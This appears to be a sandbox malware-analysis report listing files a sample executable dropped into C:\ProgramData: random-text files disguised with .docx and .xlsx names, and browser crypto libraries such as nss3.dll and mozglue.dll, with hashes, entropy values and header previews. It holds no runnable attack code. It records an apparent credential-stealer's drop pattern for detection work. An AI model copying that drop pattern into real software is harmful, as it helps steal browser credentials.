Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\ProgramData\RAYHIWGKDI.docx

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69782189124949
Encrypted:	false
SSDEEP:	24:Ejrsjf7MixEleswsyrKNRsfqDG97h9JFQttKZUsgd:AruwiCl9RyrKzDGvFothJd
MD5:	0640503E533EFB11CC70F43D2FFF4E26
SHA1:	EEACB5C334E23451DEF6DF7B1DBC836F8D5DC7F1
SHA-256:	F1E1D526371BA959E03143C250244912FE0B9C0002FB521B35EBF6B303A45240
SHA-512:	10A6184DE66D8DCFB784A4CADD010433A6E64B5C2BBDE73C5E804CB9C4A1DD42589D5B3F81004548BD4F4B48CDEC5E59F703C6E1CC91052578C191B0420B3F20
Malicious:	false
Preview:	RAYHIWGKDIRTARQYQWOBCGSCZTUKIHKHGIDMMEQIAQREXBEXSICMBOCZGGWHBLUMCKDMBQEITRPKYTMYLFIYWQOJESATZEPWZIOXPWBQZTJXLAJZABRWIVUBVJFSNDCHMUKOSZLAGXHWLJOZTOGXVRCKZUWMQJXXEBALSHWQQWMZSSNQPYAVMCOWPGIQXROQBVBCHGZFDUPLKTFJZFLPQAZUSOCBPSHUJTOHHLCAJMVXHEMQRTWBFOCSIQLCVPUVRLGBXUQDWIUHVAEKDXVYQFLOJKPUTQAUYMMBEAALRHWXLPSGJQAXQEKMLZIZODFPAFRSSEYDMLJMRHMTAAIXEFUIILJKVGEZOYKKWEPVJQVNYFFYKRTQETFXFNAJIKRVPASKSGPKFCKZPAWWPVZRALMCBKRDOEIBIKKTHQIKXETYHIXFIDXRTNRQTJUYJKPFSYLHGPQHDQCLEGRHMOWEKRHPYXHYBEJRWKNVHYVSFWCDDPTNQKIIPYEUERDNPUHTABOGALJFLNCHFVUUXYWKPWLFGSGGMLBJNUKSZDRMWINHKUODGVGUBXUFJZPIOPPUJJYPIYBSMFJDODMOMNHZLFGXCLRVZWGCTYATVPBVTSKSTKWSAFNJQHUTMYXATQBLVEOPUSEAHMLQDLRSJXGJWRUIJXFKGYOEOWEZOSKCJPIVESIUXOBETKSWFUVRRKSLBTDFQSCFNKQERIRRRREBLOQVLIDYLYKYFMCQBLBQTNJMMMKSVARWYDTJAARNVMOUPHYNYYQMCBERSBXMHXDBNYDZXQLRKYTIFDCWTEPNQGQDWHEMKECWRJGPESGZBVSBOMTJRUQQIBGIJFHOYKRJHNKMSSTEXXZGWSIGMLAJNJNUENSYJRBGUJKNETIMQHONDPCBMBYBIBNOHNJQYWEOHOCGOHXGWYYBPTHRZNFMHKEAHSEPDNXXSDYRREJULDTKDSLQABJKBZDQSIPXTUMOMUNOTGBAJQSBTRFIGSLC

C:\ProgramData\RAYHIWGKDI.xlsx

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69782189124949
Encrypted:	false
SSDEEP:	24:Ejrsjf7MixEleswsyrKNRsfqDG97h9JFQttKZUsgd:AruwiCl9RyrKzDGvFothJd
MD5:	0640503E533EFB11CC70F43D2FFF4E26
SHA1:	EEACB5C334E23451DEF6DF7B1DBC836F8D5DC7F1
SHA-256:	F1E1D526371BA959E03143C250244912FE0B9C0002FB521B35EBF6B303A45240
SHA-512:	10A6184DE66D8DCFB784A4CADD010433A6E64B5C2BBDE73C5E804CB9C4A1DD42589D5B3F81004548BD4F4B48CDEC5E59F703C6E1CC91052578C191B0420B3F20
Malicious:	false
Preview:	RAYHIWGKDIRTARQYQWOBCGSCZTUKIHKHGIDMMEQIAQREXBEXSICMBOCZGGWHBLUMCKDMBQEITRPKYTMYLFIYWQOJESATZEPWZIOXPWBQZTJXLAJZABRWIVUBVJFSNDCHMUKOSZLAGXHWLJOZTOGXVRCKZUWMQJXXEBALSHWQQWMZSSNQPYAVMCOWPGIQXROQBVBCHGZFDUPLKTFJZFLPQAZUSOCBPSHUJTOHHLCAJMVXHEMQRTWBFOCSIQLCVPUVRLGBXUQDWIUHVAEKDXVYQFLOJKPUTQAUYMMBEAALRHWXLPSGJQAXQEKMLZIZODFPAFRSSEYDMLJMRHMTAAIXEFUIILJKVGEZOYKKWEPVJQVNYFFYKRTQETFXFNAJIKRVPASKSGPKFCKZPAWWPVZRALMCBKRDOEIBIKKTHQIKXETYHIXFIDXRTNRQTJUYJKPFSYLHGPQHDQCLEGRHMOWEKRHPYXHYBEJRWKNVHYVSFWCDDPTNQKIIPYEUERDNPUHTABOGALJFLNCHFVUUXYWKPWLFGSGGMLBJNUKSZDRMWINHKUODGVGUBXUFJZPIOPPUJJYPIYBSMFJDODMOMNHZLFGXCLRVZWGCTYATVPBVTSKSTKWSAFNJQHUTMYXATQBLVEOPUSEAHMLQDLRSJXGJWRUIJXFKGYOEOWEZOSKCJPIVESIUXOBETKSWFUVRRKSLBTDFQSCFNKQERIRRRREBLOQVLIDYLYKYFMCQBLBQTNJMMMKSVARWYDTJAARNVMOUPHYNYYQMCBERSBXMHXDBNYDZXQLRKYTIFDCWTEPNQGQDWHEMKECWRJGPESGZBVSBOMTJRUQQIBGIJFHOYKRJHNKMSSTEXXZGWSIGMLAJNJNUENSYJRBGUJKNETIMQHONDPCBMBYBIBNOHNJQYWEOHOCGOHXGWYYBPTHRZNFMHKEAHSEPDNXXSDYRREJULDTKDSLQABJKBZDQSIPXTUMOMUNOTGBAJQSBTRFIGSLC

C:\ProgramData\SFPUSAFIOL.docx

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696913287597031
Encrypted:	false
SSDEEP:	24:TEp0dGAR5tKV4V1dnQcncjGi20QoVwGQqh3:20Iw5tKOncjGUwra
MD5:	44ECF9E98785299129B35CBDBCAB909B
SHA1:	4D92AFB00FE614CC8B795F1AF28173DBE76FE7F5
SHA-256:	06E706536CB7D543E6068C98C90721CAD89C23D16D37444F46F9B01C4380DF9E
SHA-512:	1FA347223014BB3AC0106948B07E337B1A98C0BA2D98AC0ADD821D1B3CE9F75681F6383925F5E614F36750C5B9FB92D1C8EEEDC05469FBC6EA3F281D8B52B556
Malicious:	false
Preview:	SFPUSAFIOLDMTRNUTGNTJUWFCWSZSHWEDVXRKVRQQJURAYWLWUUBTIKENFOXKWAEIMQEIZNZNRADQPATZGCMDPRDXLQGZUFJZGZDRTSVNCHAUPMRLPRPZKGVAVXYEVCKEHKMMJGKSJOOUYGYLDDIEYHRSUUPROPBGJMTERPOAVKYFPSCESRJNQZFKBQPUDQDDUMCFWKLZTOAKIRCBYNHNUNDHQGUCZFGLFAWYRAYVDHRMGQXAXAOYSCNPGEKEPCMQBIHRFANOHHAWKRVIORZYSDKULQZFRPSGFVYRDRVLMMPKWJDXUOEBNLILNONKXLMXLVIUCYNNQGCPDXMGSCUEKRTGZJHMNRUEKEIJFJIAHVLHOVPEFBBLWOKZSZSYSSOQIMAXYTLNUMGPOHCVAJUEBTRJRPRJCOTKTDCOEZCJXDLESVDTKVOFQWENRQDQXACWTCILXCPGHHUNHJNQLPPCERJAOCZFIXIHZKTCKZMXYDXVVFZUURETLUVBDNYJHWBIGQTEBATUDWNJLGPYCGIXUBQTVJPDRWVOFIQDYMJOMWUQUNCHQWGETEEEIJZNHHUYACVFRBGSWATTYVHFTURPBDTDDQTWASRBMLCMLRKIGMHWRHHHUVZTGIFNIDBHRKNFOYFIOYERMIXFEIANSZHVUVBFJOQNNJGQUNDLTPKRMYXNUHBOFQLLIDRDFMIAAVQNNXFNDRFBIGEVUSBEJUVVSTEJYKSAUCFDNNJQTSVXAUBHAPFHJIYCNFJQPWEXKMUQRCKERPSFCQKHEDKHHRNWTLAMXHJLOSIZOKYIMDHNEIBAUBKXVXZVXMAZNFTTYQGDGZHKLIHZJNIVHVZHYMNESIMFITKHGIPXKXZDBLBTKTNZDKZTKDHQQJCJDTRVKOCTCXPMDLKSOBGZSQQUTNFYYEOCJVZSZUSESOBKMIJSKKSXTXITISLBTMALAVZEMHXQXVRBZCDKLOKWDYQIEQCKFLKBMPLIQMKDTJPRHOW

C:\ProgramData\SUAVTZKNFL.xlsx

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\ProgramData\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\ProgramData\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\ProgramData\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: ylUZYIm2Lx.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 9MdXmCCS7M.exe, Detection: malicious, Browse Filename: syYLq7N3cl.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen28.25504.27914.23637.exe, Detection: malicious, Browse Filename: aOnhHEghbr.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.PWSX-gen.19014.16440.exe, Detection: malicious, Browse Filename: V61n3LLRi6.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: ylUZYIm2Lx.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 9MdXmCCS7M.exe, Detection: malicious, Browse Filename: syYLq7N3cl.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen28.25504.27914.23637.exe, Detection: malicious, Browse Filename: aOnhHEghbr.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.PWSX-gen.19014.16440.exe, Detection: malicious, Browse Filename: V61n3LLRi6.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
